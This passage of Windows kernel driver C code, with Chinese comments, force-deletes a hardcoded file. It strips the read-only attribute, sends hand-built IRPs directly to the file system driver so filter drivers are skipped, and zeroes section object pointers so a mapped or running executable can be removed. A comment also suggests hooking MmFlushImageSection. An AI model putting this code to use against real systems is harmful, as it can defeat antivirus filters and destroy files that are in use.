      if (!NT_SUCCESS(ntStatus))
      {
          return FALSE;
      }

      DeviceObject = IoGetRelatedDeviceObject(fileObject);
      Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);

      if (Irp == NULL)
      {
          ObDereferenceObject(fileObject);
          return FALSE;
      }

      KeInitializeEvent(&event1, SynchronizationEvent, FALSE);

      memset(&FileInformation,0,0x28);

      FileInformation.FileAttributes = FILE_ATTRIBUTE_NORMAL;
      Irp->AssociatedIrp.SystemBuffer = &FileInformation;
      Irp->UserEvent = &event1;
      Irp->UserIosb = &ioStatus;
      Irp->Tail.Overlay.OriginalFileObject = fileObject;
      Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
      Irp->RequestorMode = KernelMode;
   
      irpSp = IoGetNextIrpStackLocation(Irp);
      irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
      irpSp->DeviceObject = DeviceObject;
      irpSp->FileObject = fileObject;
      irpSp->Parameters.SetFile.Length = sizeof(FILE_BASIC_INFORMATION);
      irpSp->Parameters.SetFile.FileInformationClass = FileBasicInformation;
      irpSp->Parameters.SetFile.FileObject = fileObject;

      IoSetCompletionRoutine(
              Irp,
              SkillSetFileCompletion,
              &event1,
              TRUE,
              TRUE,
              TRUE);

      IoCallDriver(DeviceObject, Irp);//调用这个设备对象的驱动对象,并且IO_StACK_LOCAtion会指向下一个,也就是刚刚设置的
                   //如果没有文件系统驱动建立的设备对象没有Attacked的话,就调用文件系统驱动的IRP_MJ_SET_INFORMATION分派例程
                                     

                                   //会调用NTFS.sys驱动的NtfsFsdSetInformation例程,再会进入NtfsSetBasicInfo()函数,最后它会设置代表此文件的FCB(文件
                                   //控制块结构的一些信息,用来设置代表此文件的属性。最后不知道在哪里会调用IoCompleteRequest,它会依次调用先前设置的回调函数
                                    //回调函数会释放刚分配的IRP和设置事件对象为受信状态。
      KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);//一等到事件对象变成受信状态就会继续向下执行。

      ObDereferenceObject(fileObject);

      return TRUE;
}


BOOLEAN
SKillDeleteFile(
      IN HANDLE    FileHandle
      )
{
      NTSTATUS          ntStatus = STATUS_SUCCESS;
      PFILE_OBJECT      fileObject;
      PDEVICE_OBJECT    DeviceObject;
      PIRP              Irp;
      KEVENT            event1;
      FILE_DISPOSITION_INFORMATION    FileInformation;
      IO_STATUS_BLOCK ioStatus;
      PIO_STACK_LOCATION irpSp;
      PSECTION_OBJECT_POINTERS pSectionObjectPointer;     ////////////////////

      SKillStripFileAttributes( FileHandle);          //去掉只读属性,才能删除只读文件

      ntStatus = ObReferenceObjectByHandle(FileHandle,
          DELETE,
          *IoFileObjectType,
          KernelMode,
          &fileObject,
          NULL);

      if (!NT_SUCCESS(ntStatus))
      {
          return FALSE;
      }

      DeviceObject = IoGetRelatedDeviceObject(fileObject);//如果NTFS.sys驱动建立的设备对象上没有附加的设备对象的话,就返回NTFS.sys建立的设备对象
                                                       //否则返回的是这个设备对象的highest level设备对象。
      Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);//如果没有附加,StackSize为7

      if (Irp == NULL)
      {
          ObDereferenceObject(fileObject);
          return FALSE;
      }

      KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
   
      FileInformation.DeleteFile = TRUE;

      Irp->AssociatedIrp.SystemBuffer = &FileInformation;
      Irp->UserEvent = &event1;
      Irp->UserIosb = &ioStatus;
      Irp->Tail.Overlay.OriginalFileObject = fileObject;
      Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
      Irp->RequestorMode = KernelMode;
   
      irpSp = IoGetNextIrpStackLocation(Irp);            //得到文件系统NTFS.sys驱动的设备IO_STACK_LOCATION
      irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
      irpSp->DeviceObject = DeviceObject;
      irpSp->FileObject = fileObject;
      irpSp->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);
      irpSp->Parameters.SetFile.FileInformationClass = FileDispositionInformation;
      irpSp->Parameters.SetFile.FileObject = fileObject;


      IoSetCompletionRoutine(
              Irp,
              SkillSetFileCompletion,
              &event1,
              TRUE,
              TRUE,
              TRUE);

//再加上下面这三行代码 ,MmFlushImageSection    函数通过这个结构来检查是否可以删除文件。
      pSectionObjectPointer = fileObject->SectionObjectPointer;
      pSectionObjectPointer->ImageSectionObject = 0;
      pSectionObjectPointer->DataSectionObject = 0;


      IoCallDriver(DeviceObject, Irp);//这里会依次进入NTFS.sys驱动的NtfsFsdSetInformation例程->NtfsSetDispositionInfo()->MmFlushImageSection(),
                                      //MmFlushImageSection()这函数是用来检查FILE_OBJECT对象的SECTION_OBJECT_POINTER结构的变量,检查这个文件
                                   //在内存有没有被映射。也就是有没有执行。如果上面那样设置了,也就是说文件可以删除了。我们也可以HOOK NTFS.sys导入表中的
                                   //的MmFlushImageSection(),来检查这个文件对象是不是我们要删除 的,是的话,返回TRUE就行了。
      KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);

      ObDereferenceObject(fileObject);

      return TRUE;
}

NTSTATUS DriverEntry(
          IN PDRIVER_OBJECT DriverObject,
          IN PUNICODE_STRING RegistryPath
          )
{
          UNICODE_STRING                  uniDeviceName;
          UNICODE_STRING                  uniSymLink;
           NTSTATUS                          ntStatus;
          PDEVICE_OBJECT                  deviceObject = NULL;
          HANDLE                hFileHandle;
   
          RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);
          RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);

          ntStatus = IoCreateDevice(
                  DriverObject,
                  0x100u,
                  &uniDeviceName,
                  FILE_DEVICE_UNKNOWN,
                  FILE_DEVICE_SECURE_OPEN,
                  TRUE,
                  &deviceObject);

          if (!NT_SUCCESS(ntStatus))
          {
                  return ntStatus;
          }

      ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);

      if (!NT_SUCCESS(ntStatus))
      {
          IoDeleteDevice(deviceObject);
          return ntStatus;
      }

      DriverObject->DriverUnload = SKillUnloadDriver;

      //
      // 重点在这
      //
      hFileHandle = SkillIoOpenFile(L"\\Device\\HarddiskVolume1\\test.exe",
                          FILE_READ_ATTRIBUTES,
                          FILE_SHARE_DELETE);   //Get file handle得到文件句柄

     if (hFileHandle!=NULL)
     {
          SKillDeleteFile(hFileHandle);
          ZwClose(hFileHandle);
     }
     return STATUS_SUCCESS;
}